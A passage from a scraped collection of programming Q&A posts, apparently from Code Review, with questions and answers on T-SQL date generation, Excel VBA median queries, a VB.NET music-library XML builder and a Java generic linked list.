<ul>
<li>Is there any problem not yet considered?</li>
<li>Is there any other way? ( some playful way like window aggregate!)</li>
</ul>
<p>Thank you</p>
<hr />
<p><strong>Update</strong>:</p>
<h2>Some clarification:</h2>
<p>I have a <strong>Date Dimension</strong> table in which all the related Calendar <em>Conversion</em> is stored like <code>HijriCalendar</code>, <code>PersianCalendar</code> and other needed data.</p>
<p>That is why even though generally speaking calculating <code>nth</code> appointment using <code>(n * 30 (interval distance) ) + start</code> is faster but overall because of other data needed from Dimension it'd be the same. (Greatly appreciated)</p>
|
[] |
[
{
"body": "<p>You can greatly simplify things as well as wildly improve performance by using something like the following...</p>\n<pre><code>DECLARE \n @start_date date = '2020-09-24',\n @interval_in_days int = 30,\n @appt_count int = 100;\n\nWITH \n cte_n1 (n) AS (SELECT 1 FROM (VALUES (1),(1),(1),(1),(1),(1),(1),(1),(1),(1)) n (n)), -- 10\n cte_n2 (n) AS (SELECT 1 FROM cte_n1 a CROSS JOIN cte_n1 b), -- 100\n cte_Calendar (dt) AS (\n SELECT TOP (@appt_count)\n DATEADD(DAY, (ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) -1) * @interval_in_days, @start_date)\n FROM\n cte_n2 a CROSS JOIN cte_n2 b -- 10,000\n )\nSELECT \n c.dt\nFROM\n cte_Calendar c;\n</code></pre>\n<p>You can even even create an inline table function to make life a little easier...</p>\n<pre><code>SET QUOTED_IDENTIFIER ON;\nGO\nSET ANSI_NULLS ON;\nGO\n\nCREATE FUNCTION dbo.tfn_CalculateAppointmentDates\n/* ===================================================================\n09/22/2020, Created: Calculates all future appointment dates based \n on a start date, specified interval and number of \n requested appointments. \n=================================================================== */\n--===== Define I/O parameters\n(\n @start_date date,\n @interval_in_days int,\n @appt_count int \n)\nRETURNS TABLE WITH SCHEMABINDING AS\nRETURN\n WITH \n cte_n1 (n) AS (SELECT 1 FROM (VALUES (1),(1),(1),(1),(1),(1),(1),(1),(1),(1)) n (n)), -- 10\n cte_n2 (n) AS (SELECT 1 FROM cte_n1 a CROSS JOIN cte_n1 b), -- 100\n cte_Calendar (dt) AS (\n SELECT TOP (@appt_count)\n DATEADD(DAY, (ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) -1) * @interval_in_days, @start_date)\n FROM\n cte_n2 a CROSS JOIN cte_n2 b -- 10,000\n )\n SELECT \n c.dt\n FROM\n cte_Calendar c;\nGO\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:32:06.813",
"Id": "489618",
"Score": "1",
"body": "Mind adding some justification as to why this performs better?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:37:29.893",
"Id": "489619",
"Score": "0",
"body": "@Dannnno it doesn't involve querying any tables, doesn't create, populate or pull from any #temp tables. Doesn't create any unnecessary rows and therefore does not need to be filtered and there is no sorting required. Is that sufficient justification?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:06:16.337",
"Id": "489620",
"Score": "1",
"body": "It is - can you add it to the question? Other thoughts:\n\n1. using a variable with TOP leads to an automatic cardinality estimate of 100 rows, which may have negative consequences depending on usage (RECOMPILE hint or dynamic SQL addresses this)\n2. Enabling batch mode (fake join or query hint, depending on SQL Server version) is just a hair better, but probably not enough to matter\n3. Including query plans to demonstrate the improvement is always nice :) https://www.brentozar.com/pastetheplan/?id=BkfrSxdSv"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:49:54.353",
"Id": "489629",
"Score": "0",
"body": "1) This is true but I've never seen it cause a problem, not even when working with millions of rows. 2) I'm not familiar with what you're doing here but the paste a plan doesn't show the creation of the #CciForBatchMode temp table (so I don't know how you have it defined). To test, I simply created it with a single BIT column and 0 rows (just to make the code execute). In my test, #CciForBatchMode was ignored and both plans were identical in shape, subtree cost and performance. That said, I am interested in learning more about the technique. Please post links if you have any available."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:50:02.290",
"Id": "489630",
"Score": "0",
"body": "3) Execution plans are a useful tool but they aren't a substitute for an actual performance test. If I'm really trying to eek out every last millisecond, I'll post execution times and IO stats before execution plans (just my own preference)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T21:20:44.927",
"Id": "489756",
"Score": "0",
"body": "(whoops, I meant to ask if you could edit your answer to include the relevant details & justification - I think it makes this a more complete answer). Yeah, TOP hasn't been an issue for me on its own. I have seen problems when used in a subquery/view in a way that picks very different plan shapes for 100 rows vs 1M, and I wonder if it might prevent minimal logging. For CCIs, see [here](https://orderbyselectnull.com/2018/02/). Sure - time & IO stats are great too. Regardless of your preference, showing either plans or time/stats (or both!) is helpful when asserting performance improvements"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T05:12:19.830",
"Id": "489781",
"Score": "0",
"body": "thank you. updated question why your well thought answer could still be the same."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:05:48.583",
"Id": "249701",
"ParentId": "249620",
"Score": "3"
}
},
{
"body": "<p>There is no need to query <code>sys.all_objects</code>, a simple <code>CTE</code> recursion would be enough:</p>\n<pre><code>DECLARE \n @START_DATE DATE = '2020-09-24'\n, @END_DATE DATE = '2026-04-26'\n\nSET @START_DATE = DATEADD(DAY, 30 , @START_DATE) \n\n;WITH CTE AS\n(\n SELECT\n DATEADD(DAY, 0, @START_DATE) GregorianDate\n, DATEADD(DAY, 30, @START_DATE) next30\n UNION ALL \n SELECT \n DATEADD(DAY, 30, GregorianDate)\n, DATEADD(DAY, 30, next30)\n FROM CTE \n WHERE DATEADD(DAY, 30, next30) <= @END_DATE\n)\nSELECT * FROM CTE \nOPTION(maxrecursion 0)\n</code></pre>\n<p>now, you can wrap this up into a <code>Table-valued Function</code> to make it reusable :</p>\n<pre><code>CREATE FUNCTION GetAllAppointmentsByIntervalDistance\n( \n @START_DATE DATE\n, @END_DATE DATE\n, @DAYS INT \n)\nRETURNS @TABLE TABLE(GregorianDate DATE, next30 DATE)\nAS\nBEGIN \n\n SET @START_DATE = DATEADD(DAY, @DAYS , @START_DATE) \n\n ;WITH CTE AS\n (\n SELECT\n DATEADD(DAY, 0 , @START_DATE) GregorianDate\n , DATEADD(DAY, @DAYS, @START_DATE) next30\n UNION ALL \n SELECT \n DATEADD(DAY, @DAYS, GregorianDate)\n , DATEADD(DAY, @DAYS, next30)\n FROM CTE \n WHERE DATEADD(DAY, @DAYS, next30) <= @END_DATE\n )\n INSERT INTO @TABLE(GregorianDate , next30)\n SELECT * FROM CTE \n OPTION(maxrecursion 0)\n \n RETURN \nEND\n</code></pre>\n<p>Then, reuse it :</p>\n<pre><code>DECLARE \n @START_DATE DATE = '2020-09-24'\n, @END_DATE DATE = '2026-04-26'\n, @DAYS INT = 30\n\nSELECT * \nFROM \n dbo.GetAllAppointmentsByIntervalDistance(@START_DATE, @END_DATE, @DAYS)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-23T20:50:21.800",
"Id": "269311",
"ParentId": "249620",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T12:13:57.773",
"Id": "249620",
"Score": "3",
"Tags": [
"sql",
"sql-server",
"t-sql"
],
"Title": "all appointment based on interval distance"
}
|
249620
|
<p>Using Excel, I have one sheet ("db") with data extracted from MES.
I have to analyze this data and I need: Articolo, Fase, Tipo Confezione, TURNO, Macchina, avg and median.</p>
<p>I searched everywhere how to get the median with SQL, but I found only how to get median for one item alone.
Then I wrote this code, and I loop each item from 1st query to get data from another query, it works but it is extremely slow!</p>
<p>Is there a better way to get my data or, if my code is the correct way, how I can speed up the job?
Any suggestions are appreciated.</p>
<p>My code:</p>
<pre><code>Sub Get_Pivot()
Dim strsql As String
Dim cn As New ADODB.Connection, rs As New ADODB.Recordset
Dim RangeVal As Range, DatiVal
Sheets("db").Select 'sheet with database
Const adOpenStatic = 3
Const adLockOptimistic = 3
Const adCmdText = &H1
Set rs = New ADODB.Recordset
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & ThisWorkbook.FullName & "; Extended Properties=""Excel 8.0;HDR=Yes;"";"
' select field from db
strsql = "SELECT Articolo, Fase, [Tipo Confezione], TURNO, Macchina, avg(KgOra) as med FROM [db$] where Time>0 group by Articolo, Fase, [Tipo Confezione], TURNO, Macchina ;"
rs.Open strsql, cn, adOpenStatic, adLockReadOnly, adCmdUnspecified
rs.MoveFirst
Sheets("pvt").Select 'sheet how to put data
'insert header columns name
For i = 0 To rs.Fields.Count - 1
Cells(1, i + 1) = rs.Fields(i).Name
Next i
'insert data from recordest
Range("A2").CopyFromRecordset rs
'set range and get data from pasted recordset
Set RangeVal = Range("A1", Cells(Range("A1").End(xlDown).Row, 7))
DatiVal = RangeVal.Value
Set rs = Nothing
'loop each row and run one qry to get median
For i = 2 To UBound(DatiVal, 1)
strsql = "select last(KgOra) FROM (select top 50 percent KgOra from [db$] where " & _
"Articolo = '" & DatiVal(i, 1) & _
"' and Fase = '" & DatiVal(i, 2) & _
"' and [Tipo Confezione] = '" & DatiVal(i, 3) & _
"' and TURNO = '" & DatiVal(i, 4) & _
"' and Macchina = '" & DatiVal(i, 5) & "');"
rs.Open strsql, cn, adOpenStatic, adLockReadOnly, adCmdUnspecified
'if recordset exist add value at 7th filed of DatiVal
If Not rs.EOF Then DatiVal(i, 7) = rs(0)
rs.MoveNext
Set rs = Nothing
Next
'then paste new data with one columns more(median columns)
whit RangeVal
.vaue = DatiVal
End With
rstErr:
Set rs = Nothing
Set cn = Nothing
End Sub
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T14:02:21.830",
"Id": "495378",
"Score": "2",
"body": "Note that this is exactly what pivot tables are supposed to do, although that's getting off-topic for this site. I.e. I think that if you asked on an Excel-specific site, I think that their advice would be to stop using VBA/SQL altogether and just use the built-in pivot table functionality. Example search result: https://www.masterdataanalysis.com/ms-excel/calculating-median-excel-pivottables/"
}
] |
[
{
"body": "<p>The key issue can be that you run the query with the same parameters multiple times. I assume you have quite many records where Articolo/fase/tipo/etc are the same for you are looking for median. You did not state how many records you have but I think you could reduce the number of issued queries. So - without knowing too much details - I would</p>\n<ol>\n<li><p>Collect unique Articolo/fase/tipo/etc values</p>\n</li>\n<li><p>Issue the queries only once for each combination</p>\n</li>\n<li><p>Update median values</p>\n</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-05T10:59:09.430",
"Id": "250218",
"ParentId": "249622",
"Score": "1"
}
},
{
"body": "<p>I don't use VBA in Excel, so I can't make specific code suggestions. But given this problem, I would be looking to create a new sheet.</p>\n<p>On the new sheet, group your data by "Articolo, Fase, Tipo Confezione, TURNO, Macchina". And store the value that you are using to generate the average and median (it looks to be <code>kgOra</code>).</p>\n<p>Then just generate the average and median for each group of data.</p>\n<p>The problem that you are hitting is that you are scanning the entire table repeatedly to extract values. Stop doing that. Instead, sort the values once (into a new sheet). Then do your work on ranges. Once you've generated the new sheet, I would skip the SQL altogether. It should be easier to work performantly with just the ranges.</p>\n<p>Note: if this weren't Excel, I would be suggesting a temporary table with an index. But as I said, in Excel, I think that it will be more efficient to work with the cells directly. An alternative solution would be to import the data into SQL Server or Access and create your temporary table there.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T14:09:27.887",
"Id": "251602",
"ParentId": "249622",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T13:34:30.050",
"Id": "249622",
"Score": "3",
"Tags": [
"sql",
"vba",
"excel"
],
"Title": "How to get the median value faster"
}
|
249622
|
<p>So I made an XML database for my music player where I store songs data (title,artist,album,genre,year) the code for generating the database is working but slow as heck, the code works as following diagram.</p>
<pre><code>
|Aritsts Database >|Aritst ->(Name,Songs,Count)
Music Library -->For Loop> Xml Database|Albums Database >|Album ->(Name,Songs,Count)
|Genres Database >|Genre ->(Name,Songs,Count)
|Years Database >|Year ->(Name,Songs,Count)
</code></pre>
<p>Example for the artist database (the rest for albums , years , genres will be the same)
So what am doing is looping through the music library and storing the artist , album , genre , year in 4 separate <code>List(Of String)</code> Then I remove the duplicates from the list, then I make a <code>List(Of String)</code>(Song list) Then I loop on all the Artist XML database which is loaded in a <code>XMLDocument</code> If the Artist is already there it will add the songs to the current artist else It will make a new artist node and add the songs to it
The only problem is It's too slow I think it's a problem with the code but I don't know how to fix it.Here is the code:</p>
<pre><code> Dim OldCount As Double = My.Settings.MusicLibrary.Count
My.Settings.MusicLibrary.Clear()
Dim filters As String = "*.mp3|*.wav|*.aiff|*.mp2|*.mp1|*.ogg|*.wma|*.flac|*.alac|*.webm"
For Each path In My.Settings.librarypath
Dim files
If My.Settings.DirectoryTopOpen = True Then
files = filters.Split("|"c).SelectMany(Function(filter) System.IO.Directory.GetFiles(path, filter, IO.SearchOption.TopDirectoryOnly)).ToArray()
Else
files = filters.Split("|"c).SelectMany(Function(filter) System.IO.Directory.GetFiles(path, filter, IO.SearchOption.AllDirectories)).ToArray()
End If
For Each file In files
My.Settings.MusicLibrary.Add(file)
Next
Next
Dim ArtistList As New List(Of String)
Dim AlbumList As New List(Of String)
Dim Tagger = Nothing
For Each track In My.Settings.MusicLibrary
Tagger = TagLib.File.Create(track)
ArtistList.Add(Tagger.Tag.JoinedPerformers)
AlbumList.Add(Tagger.Tag.Album)
Tagger = Nothing
Next
Dim NartistList = ArtistList.Distinct.ToList
Dim NalbumList = AlbumList.Distinct.ToList
My.Settings.ArtistLibrary.Clear()
My.Settings.AlbumLibrary.Clear()
For Each artist In NartistList
My.Settings.ArtistLibrary.Add(artist)
Next
For Each album In NalbumList
My.Settings.AlbumLibrary.Add(album)
Next
Dim _Tagger
For Each song In My.Settings.MusicLibrary
_Tagger = TagLib.File.Create(song)
My.Forms.Form1.Library_Main.Items.Add(New ListViewItem({_Tagger.Tag.Title, _Tagger.Tag.JoinedPerformers, _Tagger.Tag.Album, _Tagger.Properties.Duration.TotalMinutes.ToString.Substring(0, 4).Replace(".", ":"), _Tagger.Tag.Year, _Tagger.Properties.AudioBitrate, _Tagger.Properties.AudioChannels, _Tagger.Properties.AudioSampleRate, _Tagger.Properties.BitsPerSample, _Tagger.Properties.MediaTypes.ToString, song}))
Next
settings_rebuildlib.Checked = False
My.Forms.Form1.ShowNotification("Scanner", "Added " & My.Settings.MusicLibrary.Count - OldCount & " To the library", "Mr.Audio • Settings • Scanner", My.Resources.radar1, Color.DodgerBlue)
UpdateLibStatistics()
</code></pre>
<pre><code> Dim WithEvents BG_LIB_UPDATOR As New BackgroundWorker With {.WorkerReportsProgress = True, .WorkerSupportsCancellation = True}
Public Sub UpdateLibStatistics()
Library_upd_overlay.Visible = True
Library_upd_overlay.BringToFront
BG_LIB_UPDATOR.RunWorkerAsync()
</code></pre>
<pre><code> Private Sub BG_LIB_UPDATOR_DoWork(sender As Object, e As DoWorkEventArgs) Handles BG_LIB_UPDATOR.DoWork
BG_LIB_UPDATOR.ReportProgress(0)
Dim ArtistList As New List(Of String)
Dim AlbumList As New List(Of String)
Dim YearList As New List(Of Integer)
Dim GenreList As New List(Of String)
Dim Tagger As TagLib.File
BG_LIB_UPDATOR.ReportProgress(5)
For Each track In My.Settings.MusicLibrary
Tagger = TagLib.File.Create(track)
ArtistList.Add(Tagger.Tag.JoinedPerformers)
AlbumList.Add(Tagger.Tag.Album)
YearList.Add(Tagger.Tag.Year)
GenreList.Add(String.Join(";", Tagger.Tag.Genres))
Tagger = Nothing
Next
BG_LIB_UPDATOR.ReportProgress(10)
Dim NartistList = ArtistList.Distinct.ToList
Dim NalbumList = AlbumList.Distinct.ToList
Dim Nyearlist = YearList.Distinct.ToList
Dim Ngenrelist = GenreList.Distinct.ToList
My.Settings.ArtistLibrary.Clear()
My.Settings.AlbumLibrary.Clear()
My.Settings.YearLibrary.Clear()
My.Settings.GenreLibrary.Clear()
BG_LIB_UPDATOR.ReportProgress(15)
For Each artist In NartistList
My.Settings.ArtistLibrary.Add(artist)
Next
For Each album In NalbumList
My.Settings.AlbumLibrary.Add(album)
Next
For Each _Year In Nyearlist
My.Settings.YearLibrary.Add(_Year)
Next
For Each Genre In Ngenrelist
My.Settings.GenreLibrary.Add(Genre)
Next
BG_LIB_UPDATOR.ReportProgress(20)
'BEGIN OF LIB_ARTIST
' Create XmlWriterSettings.
Dim settings As XmlWriterSettings = New XmlWriterSettings()
settings.Indent = True
Dim LIB_ARTISTtpath As String
' Create XmlWriter.
If IO.File.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Artists.xml")) Then
LIB_ARTISTtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Artists.xml")
Else
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library"))
IO.File.Create(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Artists.xml")).Close()
LIB_ARTISTtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Artists.xml")
End If
If Not IO.Directory.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "ArtistsPics")) Then
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "ArtistsPics"))
End If
BG_LIB_UPDATOR.ReportProgress(23)
Try
Using writer As XmlWriter = XmlWriter.Create(LIB_ARTISTtpath, settings)
' Begin writing.
writer.WriteStartDocument()
writer.WriteStartElement("Mr.Audio") ' Root.
writer.WriteStartElement("Artists") ' Root.
For Each artist In NartistList
writer.WriteStartElement("Artist")
writer.WriteElementString("Name", artist)
writer.WriteStartElement("Songs")
Dim ArtistSongs As New List(Of String)
For Each song In My.Settings.MusicLibrary
If IO.File.Exists(song) Then
Tagger = TagLib.File.Create(song)
If CType(Tagger, TagLib.File).Tag.JoinedPerformers = artist Then
writer.WriteElementString("Song", song)
ArtistSongs.Add(song)
End If
End If
Next
writer.WriteEndElement()
writer.WriteElementString("Count", ArtistSongs.Count)
writer.WriteEndElement()
Tagger = TagLib.File.Create(ArtistSongs(0))
Image.FromStream(New MemoryStream(Tagger.Tag.Pictures(0).Data.Data)).GetThumbnailImage(100, 100, Nothing, IntPtr.Zero).Clone.Save(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "ArtistsPics", artist & ".png"))
Next
BG_LIB_UPDATOR.ReportProgress(24)
writer.WriteEndElement()
writer.WriteEndElement()
writer.WriteEndDocument()
End Using
Catch ex As Exception
'' MessageBox.Show(Me, "There is somthing wrong :/" & vbCrLf & "Check console.", "Mr. Audio", MessageBoxButtons.OK, MessageBoxIcon.Error)
Console.WriteLine(TimeOfDay.ToShortTimeString & ": At LIB_UPDATE_ARTISTS //" & ex.Message & vbCrLf & ex.StackTrace)
End Try
'END OF LIB_ARTIST
'BEGIN OF LIB_ALBUM
BG_LIB_UPDATOR.ReportProgress(25)
' Create XmlWriterSettings.
Dim settings2 As XmlWriterSettings = New XmlWriterSettings()
settings2.Indent = True
Dim LIB_ALBUMtpath As String
' Create XmlWriter.
If IO.File.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Albums.xml")) Then
LIB_ALBUMtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Albums.xml")
Else
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library"))
IO.File.Create(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Albums.xml")).Close()
LIB_ALBUMtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Albums.xml")
End If
If Not IO.Directory.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "AlbumsPics")) Then
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "AlbumsPics"))
End If
Try
BG_LIB_UPDATOR.ReportProgress(27)
Using writer As XmlWriter = XmlWriter.Create(LIB_ALBUMtpath, settings2)
' Begin writing.
writer.WriteStartDocument()
writer.WriteStartElement("Mr.Audio") ' Root.
writer.WriteStartElement("Albums") ' Root.
For Each album In NalbumList
writer.WriteStartElement("Album")
writer.WriteElementString("Name", album)
writer.WriteStartElement("Songs")
Dim AlbumSongs As New List(Of String)
For Each song In My.Settings.MusicLibrary
If IO.File.Exists(song) Then
Tagger = TagLib.File.Create(song)
If CType(Tagger, TagLib.File).Tag.Album = album Then
writer.WriteElementString("Song", song)
AlbumSongs.Add(song)
End If
End If
Next
writer.WriteEndElement()
writer.WriteElementString("Count", AlbumSongs.Count)
writer.WriteEndElement()
Tagger = TagLib.File.Create(AlbumSongs(0))
Image.FromStream(New MemoryStream(Tagger.Tag.Pictures(0).Data.Data)).GetThumbnailImage(100, 100, Nothing, IntPtr.Zero).Save(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "AlbumsPics", album & ".png"))
Next
BG_LIB_UPDATOR.ReportProgress(29)
writer.WriteEndElement()
writer.WriteEndElement()
writer.WriteEndDocument()
End Using
Catch ex As Exception
'' MessageBox.Show(Me, "There is somthing wrong :/" & vbCrLf & "Check console.", "Mr. Audio", MessageBoxButtons.OK, MessageBoxIcon.Error)
Console.WriteLine(TimeOfDay.ToShortTimeString & ": At LIB_UPDATE_ALBUMS //" & ex.Message & vbCrLf & ex.StackTrace)
End Try
'END OF LIB_ALBUM
'BEGIN OF LIB_YEAR
BG_LIB_UPDATOR.ReportProgress(30)
' Create XmlWriterSettings.
Dim settings3 As XmlWriterSettings = New XmlWriterSettings()
settings3.Indent = True
Dim LIB_YEARtpath As String
' Create XmlWriter.
If IO.File.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Years.xml")) Then
LIB_YEARtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Years.xml")
Else
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library"))
IO.File.Create(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Years.xml")).Close()
LIB_YEARtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Years.xml")
End If
If Not IO.Directory.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "YearsPics")) Then
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "YearsPics"))
End If
Try
BG_LIB_UPDATOR.ReportProgress(37)
Using writer As XmlWriter = XmlWriter.Create(LIB_YEARtpath, settings3)
' Begin writing.
writer.WriteStartDocument()
writer.WriteStartElement("Mr.Audio") ' Root.
writer.WriteStartElement("Years") ' Root.
For Each _Year In Nyearlist
writer.WriteStartElement("Year")
writer.WriteElementString("Name", _Year)
writer.WriteStartElement("Songs")
Dim YearSongs As New List(Of String)
For Each song In My.Settings.MusicLibrary
If IO.File.Exists(song) Then
Tagger = TagLib.File.Create(song)
If CType(Tagger, TagLib.File).Tag.Year = _Year Then
writer.WriteElementString("Song", song)
YearSongs.Add(song)
End If
End If
Next
writer.WriteEndElement()
writer.WriteElementString("Count", YearSongs.Count)
writer.WriteEndElement()
GenerateImage(_Year).Save(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "YearsPics", _Year & ".png"))
Next
BG_LIB_UPDATOR.ReportProgress(40)
writer.WriteEndElement()
writer.WriteEndElement()
writer.WriteEndDocument()
End Using
Catch ex As Exception
'' MessageBox.Show(Me, "There is somthing wrong :/" & vbCrLf & "Check console.", "Mr. Audio", MessageBoxButtons.OK, MessageBoxIcon.Error)
Console.WriteLine(TimeOfDay.ToShortTimeString & ": At LIB_UPDATE_YEARS //" & ex.Message & vbCrLf & ex.StackTrace)
End Try
'END OF LIB_YEAR
'BEGIN OF LIB_GENRE
BG_LIB_UPDATOR.ReportProgress(50)
' Create XmlWriterSettings.
Dim settings4 As XmlWriterSettings = New XmlWriterSettings()
settings4.Indent = True
Dim LIB_GENREtpath As String
' Create XmlWriter.
If IO.File.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Genres.xml")) Then
LIB_GENREtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Genres.xml")
Else
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library"))
IO.File.Create(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Genres.xml")).Close()
LIB_GENREtpath = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "Genres.xml")
End If
If Not IO.Directory.Exists(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "GenresPics")) Then
IO.Directory.CreateDirectory(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "GenresPics"))
End If
Try
BG_LIB_UPDATOR.ReportProgress(60)
Using writer As XmlWriter = XmlWriter.Create(LIB_GENREtpath, settings4)
' Begin writing.
writer.WriteStartDocument()
writer.WriteStartElement("Mr.Audio") ' Root.
writer.WriteStartElement("Genres") ' Root.
For Each _Genre In Ngenrelist
writer.WriteStartElement("Genre")
writer.WriteElementString("Name", _Genre)
writer.WriteStartElement("Songs")
Dim GenreSongs As New List(Of String)
For Each song In My.Settings.MusicLibrary
If IO.File.Exists(song) Then
Tagger = TagLib.File.Create(song)
If String.Join(";", CType(Tagger, TagLib.File).Tag.Genres) = _Genre Then
writer.WriteElementString("Song", song)
GenreSongs.Add(song)
End If
End If
Next
writer.WriteEndElement()
writer.WriteElementString("Count", GenreSongs.Count)
writer.WriteEndElement()
GenerateImage(_Genre).Save(IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MrAudio", "Library", "GenresPics", _Genre & ".png"))
Next
BG_LIB_UPDATOR.ReportProgress(70)
writer.WriteEndElement()
writer.WriteEndElement()
writer.WriteEndDocument()
End Using
Catch ex As Exception
'' MessageBox.Show(Me, "There is somthing wrong :/" & vbCrLf & "Check console.", "Mr. Audio", MessageBoxButtons.OK, MessageBoxIcon.Error)
Console.WriteLine(TimeOfDay.ToShortTimeString & ": At LIB_UPDATE_GENRES //" & ex.Message & vbCrLf & ex.StackTrace)
End Try
'END OF LIB_GENRE
BG_LIB_UPDATOR.ReportProgress(100)
End Sub
</code></pre>
<p>Thanks in advance.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T14:23:04.040",
"Id": "249625",
"Score": "3",
"Tags": [
"performance",
"database",
"xml",
"vb.net"
],
"Title": "Organizing and accessing data in xml database - VB.Net"
}
|
249625
|
<p>this is my first time on StackExchange. I am new to writing code. This is a singly-linked list I made in Java using generics with no sentinel nodes (i.e. no empty head and tail nodes). Looking for feedback on how to be more efficient, clean, and generally improve my code writing to include best practices. Each method is tested in main and tests for exceptions are commented out for convenience. Any recommendations how to improve are very much appreciated. Thank you very much!</p>
<pre><code>//In this project I created a generic singly-linked list using Java Generics.
public class GenLinkedList<T> {
//Declare and define Node
private static class Node<T>
{
//Declare value
public T value;
//Declare next pointer
public Node<T> next;
//Constructor (if next is null)
public Node(T v)
{
value = v;
next = null;
}
//Constructor
public Node(T v, Node<T> n)
{
value = v;
next = n;
}
}
//Declare list head variable
//Set to null in case there are no nodes when using addFront
private Node<T> head = null;
int size = 0;
//AddFront method
//receives an item to add as a parameter, and adds to the front of the list.
public void addFront(T item)
{
head = new Node<T>(item, head);
size++;
}
//AddEnd method
//receives an item to add as a parameter and adds to the end of the list
public void addEnd(T item)
{
size++;
if(head == null)
{
head = new Node<T>(item);
} else {
//Declare a pointer to traverse the list
Node<T> ptr = head;
while(ptr.next != null)
{
//Advance pointer
ptr = ptr.next;
}
//Call constructor with no next
ptr.next = new Node<T>(item);
}
}
//RemoveFront method
//removes a node from the front of the list.
public void removeFront() throws Exception {
try {
if (head == null) {
throw new Exception("List is empty");
}
}
catch(Exception e){
System.out.println(e);
return;
}
head = head.next;
size--;
}
//RemoveEnd method
//removes a node from the end of the list.
public void removeEnd() throws Exception
{
try {
if (head == null) {
